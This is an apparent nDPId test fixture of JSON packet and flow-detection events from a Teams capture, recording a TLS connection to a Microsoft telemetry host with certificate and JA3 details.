+00439{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":29919,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIex5Abv0H+uOAAAAALAC\/\/9XkAAAAgQFtAEDAwUBAQgKMISdwwAAAAAEAgAA"} +00435{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":619,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":74133,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8KlZAAGwGoSQ0ck0hwKgBBgG77Hk7ZXhQ9B\/rj6ASIAAz8QAAAgQFoAEDAwgEAggKYRL\/2zCEncM="} +00422{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":74233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex5Abv0H+uPO2V4UYAQEAlydQAAAQEICjCEne9hEv\/b"} +00704{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":621,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":74525,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"EBMx8Tl2KDc3AG3ICABFAAECAABAAEAG9rTAqAEGNHJNIex5Abv0H+uPO2V4UYAYEAlkRgAAAQEICjCEne9hEv\/bFgMBAMkBAADFAwOeU\/FfLHrtrdCBVUwx+w+ija6LF0MoHL44Af8vhwR8KyDASAAAvuo5mSGLHTbLJlo\/aqiaHVmeYbbWtXIqS6QEPwAewC\/AK8AwwCzMqcyowAnAE8AKwBQAnACdAC8ANQAKAQAAXv8BAAEAAAAAIwAhAAAebW9iaWxlLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEACwACAQAACgAIAAYAHQAXABg="} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":621,"source":"teams.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1587041678029,"flow_last_seen":1587041678074,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":32,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60537,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02364{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":120796,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUKldAAGwGm4s0ck0hwKgBBgG77Hk7ZXhR9B\/sXYAQBAVKXAAAAQEICmETAAQwhJ3vFgMDEGYCAABRAwNemFWOOTYxM1NwQpKmeq910c4Y3+sTj8LkGeyXAZo3KyA\/IwAA6KEdJo41XGChq4nIXjJi3Ldaf94\/c7z6UnyyFcAwAAAJABcAAP8BAAEACwAO3QAO2gAJHDCCCRgwggcAoAMCAQICExYACr2jKIomrOvxeF4AAAAKvaMwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTE5MTAxMDIxNTUzOFoXDTIxMTAxMDIxNTUzOFowJjEkMCIGA1UEAwwbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8J31SJyCTCkjxtLC8JE7aU56y+0937PcYfrFGWW\/wSL1vxV6UtbY+5UyBq7YUvoZUI+YYWI6FMysHpnkiGQR5h3NLX2it0lgM0JMJXgIYfO+vdhJalxciwWfJHOcY4+eUQwpTmpGeOTzK\/sd1W+VOYbkgWPJ0lAEgTcRXL\/NZZAtyce+Sv4+b4jHwY9pwQxOHJWtnns0bK3jD\/RcAtjLeUisGvBGtt1SItPOQvgD6i2AdvjCkjqVXn0nxT\/yKuGkvtii1i85nrjeMS5pKgL+N2I4goIXeRAaK089dd0KrnNO6kLEhhSHgHwJHnPwfqeXH1Q2p1Zw2r13mOsJdyP7QIDAQABo4IE1zCCBNMwggF\/BgorBgEEAdZ5AgQCBIIBbwSCAWsBaQB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbbe0zD0AAAQDAEcwRQIgXUu8wYK\/QqX5unkLcaUv4T8oQWu5yZb6M3RYbUFPJ7sCIQCVvziq+dynpJXSFyAk+ZobbjdMm8Ziuyzc0miXoW9hmQB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbbe0zTwAAAQDAEcwRQIgOIr7NuYD18H8X6OV\/YdBgg0HoCy47ognD1Etlbp3ZVgCIQCAVAoqvjDqhz4It72mColVOT\/FZuexWjdVPWkvuAPY1AB3AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABbbe0zEEAAAQDAEgwRgIhAMLyKXAV0HvPisLX5tlLiDTgtSUtRgffnQWc5h8Pdj8PAiEAo6ENbH0+qORahbVCksBW940dOZQUoTXblsn+bri9ExQwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQa+kPWU8gwtBlTGMvS3dHpIWlv7TALBgNVHQ8EBAMCBLAwgfIGA1UdEQSB6jCB54IbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghlldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghkqLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tgg5waXBl"} +02359{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":120831,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUKlhAAGwGm4o0ck0hwKgBBgG77Hk7ZX3x9B\/sXYAQBAXWRgAAAQEICmETAAQwhJ3vLnNreXBlLmNvbYIQKi5waXBlLnNreXBlLmNvbYIiKi5tb2JpbGUuZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIgbW9iaWxlLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb22CFSouZXZlbnRzLmRhdGEubXNuLmNvbYITZXZlbnRzLmRhdGEubXNuLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAUxCmyVHd3H7BNm7xrFDWc0lUKQfFfvZJj7fGm702yYNfNb17H3sDMMybFW0xvlL9Ezzab9UkH29uzppLcvgSPbaskyoVw+2aUUDOWU9BNPXX55faad2R1I6KtC+PfV7YLtmbicvSGz4AqzYw9ZreqUymbtwFHx+mEj1q7bV3EnUB\/tkVGJLU4rtEsbNOyNY0rT1MPRe2qZ6z8OTI\/Ubwew2S+CzQq6NSEinFnoQ24d33L9+Q2VR7IJxgZJZ0JLJRb2EkmyBTG1bJPbFiADdV1t9YSY2ps7oVekv29d\/XDIODAnQFR1IHqlMXtC77TWoRsh1X4rC3iStLm+7YDXNcZ\/4Mj9IuoDmWavbkJCD0d5pvrPILAZtuXahuvQzQtAY2n0vu1+AhHxMbk9e2L2iJYbk++P\/GCSsH0E3MwFuGBx2aD8kcD\/GasOSgJ2hX1PemGbx7\/Y9FGQudVhN6gkjLviiZxZQGDI3hc4aNkSo6HFXMcwVO63+RLd5FmQcXxQ4wQgOa8gPG9Z+WsefaydUjjPdFmpvxlC8L\/\/hy5Vj29oZ7skaSNpSCyBSNkBskAzSt9el50ZVrhM5J4i3BG1jJVGu2oqjlyxlbfhoa6VdObxpgGXjYRrBKCYMJOGSIW1HBsVpPOHiO3HTRTWSc3nsno7KhTt65NB2bdGHaIXFW18cABbgwggW0MIIEnKADAgECAhALarOwPrGp9sRgkmqozf6zMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MjM4WhcNMjQwNTIwMTI1MjM4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCr5etdo2s5nvU0iBK7HVImXX0JC8Z5jqu3Dt8Zst3uD\/bu9FbkRuKSD+JnC+MccaTUQXO0y5kWjr93fbCvHmztcS7DCHdKXpKu7FrQSIHQxemg9XqPHo1e062SwNrGkTUxILk5"} +00422{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":624,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":120910,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex5Abv0H+xdO2WDkYAQD69magAAAQEICjCEnh1hEwAE"} +02214{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":120987,"pkt_caplen":1389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1389,"pkt_l4_len":1355,"pkt":"KDc3AG3IEBMx8Tl2CABFAAVfKllAAGwGm\/40ck0hwKgBBgG77Hk7ZYOR9B\/sXYAYBAVgZQAAAQEICmETAAQwhJ3vBM0QKjyXHQCemRgYCc9Ll+TJ\/ADwDFqdNuiyQMFKrIQoqj1GGCuniqz0r0uofklCx2IgwOanO13rkB+7itickOM6sWzClM4+MmvLcbNBLrnF4V3YWSeC++FIDX7oBPH5ASdB+pRafcUwu7a61xGbiPoBzG5Lkrn4eDzLnGiaFmaI0JOwKoMulxEdfoEgYeSwuZucblOVlSLG2b11ELrZdYw8Px3QlvgzRXt7H1Qz5UiXpwUkotvR3JWuICp9lolIe5J60CSx3kgR92c8tN\/4WGD1T3s0aOb9rCYItvMsQ9tPxBbQmwxxh7EHa4bdj6Cx+2ba2Mvp8vBl5Y7YHOovui1k8V7QG1CyDIVKzzvILipqdYzArlzZ6cB8fXzanOO9SrBgB4IrfV3IEK8uYozcmv3h2blZSJdCGsNQgQsfgyJr5Ju8KSKC\/YBRXHVfDjXC3X8vemefPY5bjLuvnfTMDPuoH50hwfPnUhpdzhRXbVC4Se6xCyfS4mknEm7GwCY+56QrG4tTOAb6Goc64Et\/mRZOWT1ZafFxp2VlGwIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFHp7jMHP56DKHNRr+vvhM8MPGqKdMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBABH+cgY6IQo3bsj1KSICYp5FDu36Bp\/vv54kNRf+OYiyuwHheN\/Ri5f9t3fxinJPSTrosynXdIfkufMXYIeIklWCvdl9E0h\/BpA6iWbnnZb3lc1gD9fhyvZ27vqbNUihmH3SkypPgRbHqJa70SXzpm9Q2gCbKqj0NQDj\/Sw77eUVm38WD8eOyTYglPAdAbkSUFCZgeAoQiyOeP\/txp7V5MrpoKqzSE+kX+SLGP8TAi2QETYYZig6IprelfFZ7p9tKhd1k1DDBRLV3mS0trzb13ZZ\/qXW5Vbh\/kZcO4r47A777xKQkc4gEoG6PFLjf+NA9AxBIGaHGNoyaeD23I8o8r0MAAEoAwAdICEPGiTacHJnq6PrPlvxEoSaCKiLlyOZHNbVkDzqi85DBAEBABUbcpY7flrxlEmvDQF\/IYHc9AdP2GVXd1cOX\/fYXfT0ZSgvuD5sBNK5kL95opARYfACknMPnR9YPrMt4drq5G4D+3Cq1bWVzdWq+Y6vcG7\/6uyH6ZztbTHWxMaRhLpLKLYHjPBw59DsssnYv\/Xsw\/X07nCzjEwuAfVl+DdsaTEacepOIpFcFqQOg6LM3hKoP+z0mamxSI4\/NqdwUUBwZts0zK8YKpE9AzWTPuNF3\/jzGJyN2ecuBhwndtaTM4BlK30GTE3PBMfPZH0YwgA+aAeOVv1qWqnYS2k6eM925BUb91FnctQbP9V0JMtxgrqfeLE8JKM916dg0kOffJQ5+7sOAAAA"} +01298{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":625,"source":"teams.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":8,"flow_first_seen":1587041678029,"flow_last_seen":1587041678120,"flow_tot_l4_data_len":4685,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":585,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60537,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}} +00422{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":121021,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex5Abv0H+xdO2WIvIAQD4ZhaAAAAQEICjCEnh1hEwAE"} +00423{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":121060,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex5Abv0H+xdO2WIvIAQEABg7gAAAQEICjCEnh1hEwAE"} +00551{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":628,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":122107,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG9yXAqAEGNHJNIex5Abv0H+xdO2WIvIAYEAA4KwAAAQEICjCEnh5hEwAEFgMDACUQAAAhIP7RpoO5uqiByuxIuFaSUf7cSQPUqY\/bPrLjbKhyQYw0FAMDAAEBFgMDACgAAAAAAAAAAA2bwhqRB70JhCC7tK0J+uT0p40fntt9Ofuwu8IMPAUS"} +00494{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":629,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":165509,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnKlpAAGwGoPU0ck0hwKgBBgG77Hk7ZYi89B\/suoAYBAUy2wAAAQEICmETADcwhJ4eFAMDAAEBFgMDACgAAAAAAAAAAHelKESahrXk8NeOsJcyeXwB1mevaMDIfanvCHkpcUO2"} +00424{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":630,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":165603,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex5Abv0H+y6O2WI74AQD\/5gAQAAAQEICjCEnklhEwA3"} +02361{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":631,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":167012,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex5Abv0H+y6O2WI74AQEAAoYgAAAQEICjCEnkphEwA3FwMDG2cAAAAAAAAAAZWrlc0xquAlEvLg1qd3Ae5HeSo+iORe3JZNH14zWSiFWZJRmwAZvfrqVn7gmX\/rBt9nqaoLblCpp70qMBnSlYFTpLvirc1co0KqGiQE+L+jglGG2U181le9GMVy6lTlGpt3HjbhTIt1xyS2V+dwLbOqWsppgDq8iEvfGeRGjo8ubs2SAmphgiJEVy+ftkrvWmIxlnJEe0KJeNfyl420ieFoLwDIKqKxsKNo6wrrtmz5U81Mxy5z9+CVZRVUR1GSMDdtSjCDuXfd0er7qCMW0JkPh3vr6ANjn67SFYnQjWRYyUrtbC\/QAereKfnogKEVrQYU+Zi0n3EfB3UcYgsYQi0Jzr3lsWTtOwT\/xmia\/4cCIicAQ\/GMhxPKNinUw3VBSdzebgMVrM5lV6emBMyD9p97FPZFSo9oMfOuOqPOV9JM5biYw56\/12WdgNU4QNKnnC0X7VNC\/qsy8xWEkirzVaJdTjKQVtA9Fdigzp8pVZdmcKxxLYRg\/Qy20HdyxD1dWotjW\/iCqC8s1AXTBo7GlVjfO\/46wnL+Z4hJ9ooUjSQJ3qd0vK2MQRbUbbfNbpj4x2tSKJCGnRMDszzIMrX+hmB7uef3MI+S59QOmIsKrXeoNXsLxmuRw6W4F6xhxYbgZFioL71ouyMa\/A7+UR7J48hxdj08TZzumyLbjJ9ujRMIAhxdFkXyqkmWuq6rw4XZ4o\/0QF+S8Z5iYLfdWj8AKOnPMSYoPRfAU509DGJp1aGBtfkwf5gGb0I\/iYSVteGjlJI\/tk0wbS8mF\/IIb7FHDv71tM++F85Yapsne1iouzN443i3GO1l0aQUUV5YLGK6AiH0expNocaeSgcl3nS8WrX9MnMPzJtLpks0BpM2Y2mIbS\/a+CGlovrjadPZENRsN1miaMj5bLtdR+IMvXHqlQ7IHhdsaneLMkjaEms+l5c8L+yKl\/neXkCF6qYd7ugaYZ86T4LTsh6vXy1C1Gh3YoSFW7TxxTkhmdO0sPy6a6rOF4q536Obtt0ZjQL7Xya8ZO2+aniELVmXA2pi7zgWFG83HZPnAB4T4CgzzJ0VXZta09U\/tOKTPbXRti5aNbBP3kgjHoOKaLQa0fOHzHIWxuUJKV0JtnpeiVrlepeA0jYzOP286YEkCbpDlE\/bzceBRqNAShu6k+gRSkYmKG1WVKQqdIEawJwhNbLpBJa7HLC35zrjR1vC08PdBJPZHkGD9LsgHqUXqGDntDrZfuxV\/28wBkPK67i2NTOWEroUVGereH641SSKM9CWqsYmgq9pJsqdJ4wxEsuyiurR9ftmh9Dn5IQwpBeKzF0LR7w3SuHdkAKTQFB7rMjTx2HntUhG4EdcNvsQVLEUWh53KJPbvECnbJ5nHenBk9V9f0HVxFzpWLfveMyIf8bwtZw7gacmbaEHux4rkgMeXCJQjw\/DtoPIKQ7g2DZoVXj+LF2C9tapALqNK4Fo\/ZVZnoOTO5ChtIFuJA6d+3\/JzAdDHm+O3MsVmKgaicqcTOZeCd75hKNXR0\/oWrcWr5FIx2w89TRLqc8ES7Qdw3zwZGFPs27DKxhFEVnWuZV\/McUmB92gxyYl1JVZheceYxPjLdgTM4tDQrPgibg+kExAWj1UTbwyni7kq9MHpCQwNG+YfGuOlxjWQFkiomPenkBPCTFSHKvYLmwTfK\/6qrFdmMMSPpxYNgs40zsx+Ft3HXLWhcxjmnYtEwsd3W3I4Rg1kZE8bwc95mkKpIuMlzIUYZi3raBYtR5ACkmghCN7voA4EDuCeqmMDvOyrhei5CYM6AuwQKXhoU8nXbOcOmtd0dI\/dTBJO3mj+nR98Fz2PF5aAObS\/JKA7B9YmvOzXszSJB0xa6DDIfcSw6iiRblePgc0QjR08bOQ2XbS2+hB"} +02360{"flow_id":9,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":167016,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex5Abv0H\/JOO2WI74AQEACuHAAAAQEICjCEnkphEwA3J+mKwXvMvO8jfyhEiq4VtBb0DtQ8isPryoapLKM2XxbLPC6pdDIeSIAwXVrF08zI4T\/yzbSkl9w2wMdC9g5YanKAuHEJ96oJyzuW8ReCHP9aLsp3AvGfcFqr\/AnF9VVhOFq\/aRGmqk+ftx9jHdFU7La3MJMRb0FAF3T0NoK6lMgh5JFfDyD4hClVL5yUd7aJtp\/onXnRAa3qXgrkuXwGo3gZ48T4YkBKLDFE7gjiqjFf0eqMm9d3y\/5JC92l1H1VpmEqAyLCIMZaQMErwXfU1AYMA64uvLVUxAnIwfzRexoX0U2ADCPeuV\/mrPM53OMkHlBXAbkr5kUpoZm1eVvF3jIjXmNe\/z+ZFhNbqSPwbpCwaiOFHtP4jDPCs3tUv+5tvPiiwBsoYfAADbsV7YWtp3iMoQaIAzXk1hMy6dQyPBAmA4b5mjKDIYUpZUVoCYV9fCCOmc1+f2E+BwBcp64ChwwzDGaENNLKxJN4hT3pR7aU+3srTUfZMRKTJe1UsGrFb9EmBcniDvg2fqh0KZ2Cj+Gud6xZ0bg2lr7iBFi\/j9ppWYlKwg4ODh+6QMmUTVJ4EqZC73H57nN0fs99Zuj1JdC66ebUny3bRweuqhkjmQgtftv8QBwRZ3vY47iMSUjbmytbduip+HnI5bcdv8K9xn40cmub+pon2DZ5i\/GcvZcenP5xAk24ssyosJuV8AUUlVJcz5WvzOzXbxUgiQ0LU2Co9fA8TxSQ8Q+BDIkoaZYEc3pYEQiM+b1lRmL4RcwRifMmkZOH2xx\/MXNKGpj2mohaUHSGAnu3jAKS6WmRqhrtcWAfEwlirw++SKoF0sshMtkSYFloGaFPFrPf185KwWATOK2ym83A5870DeQoP1eSkY11vx+ExqyySQiBkyYHtB0tiUi3COVsrybNI5EOQtWusiWFkAogY9yUXBpb4qyPbYczG0iKPISEJzUs81Vt2cdNzBP9Ty8Js14b3hHM2LUD1jH6IU3rQzokQPA226onwObbu1tv92xfMnnzHmB4iS4+kImvhQmRJyCqa1wbpLaB0waGh8MzKMNZGKvYESQV2\/n76KYiG\/n3daltozEvfLDBzW1VUGVqb67PDdrQD3GtB+bI4hwh8ogEBjOPM+MhgRK3LtFt0yLF6WfkUC21rlb0dk\/Oi2Op4f3w0wnwZmxNY+tx+wivYeaTkZ5dsYZ2DYApsaC8u\/9\/Q55oo\/k1bP4S+AuBjJqQFJhtVTCYOlsBugmKaW\/Sn3qRnKgAfkDwKQzpDLG0TqHPlNC8+Exy2AkjcHLdA+Le2hti3+MrppkdHEVaXvgcDQKEs8a50VgUKuIg8y9B1E2CWX36+TsEBekAUraAkyycxjYB0CifaBgJMR+f55yrMKmjlscjkz4m6LjYf5LnAYpa3scIIubyJfeHm0CO+CFKix8I9MUY0sxEe9a\/aovbisEaJWGIPnGKHRhPzl5h2Z38meqwh3+UPL2Ji+RM6cMJR2TvAktmDZjmYJ20Yybxpmiml1+vvcshqo0tdulUe78IAbZ\/l\/9PpFVPcC04jtq729NZ8R6bfZ0VmDXNNukN9J8i9zZcGdeQawz0JJUtS1bIDmGCU3oEyQUjhxBAUz9IWNRH35l9TnleE\/PoX5leE4tV2ZpXqs9rR7Sc5YeC4b71Hstp6sXnB8LP1Y1G\/XziMvq8MeVQ7c8qG8Q9SG4yrwFHt7zKwecAZVHul2jyRRdhYST1LfwPeBZZFHzRlZ3CFnop787FACRzaIejUFmCCQX4RLM8JGSvJ4INFYGD\/pcSHF4qGDCxi3nE9IzvoWNnWITCqzw9On3dLEvIzswSbSPIJJGMr3mrNRyRzyvMDpb9ExgUN7\/GYVNu1m93zfuqwKJAI1pW4XeXckO+wZvg3r\/+NEz\/S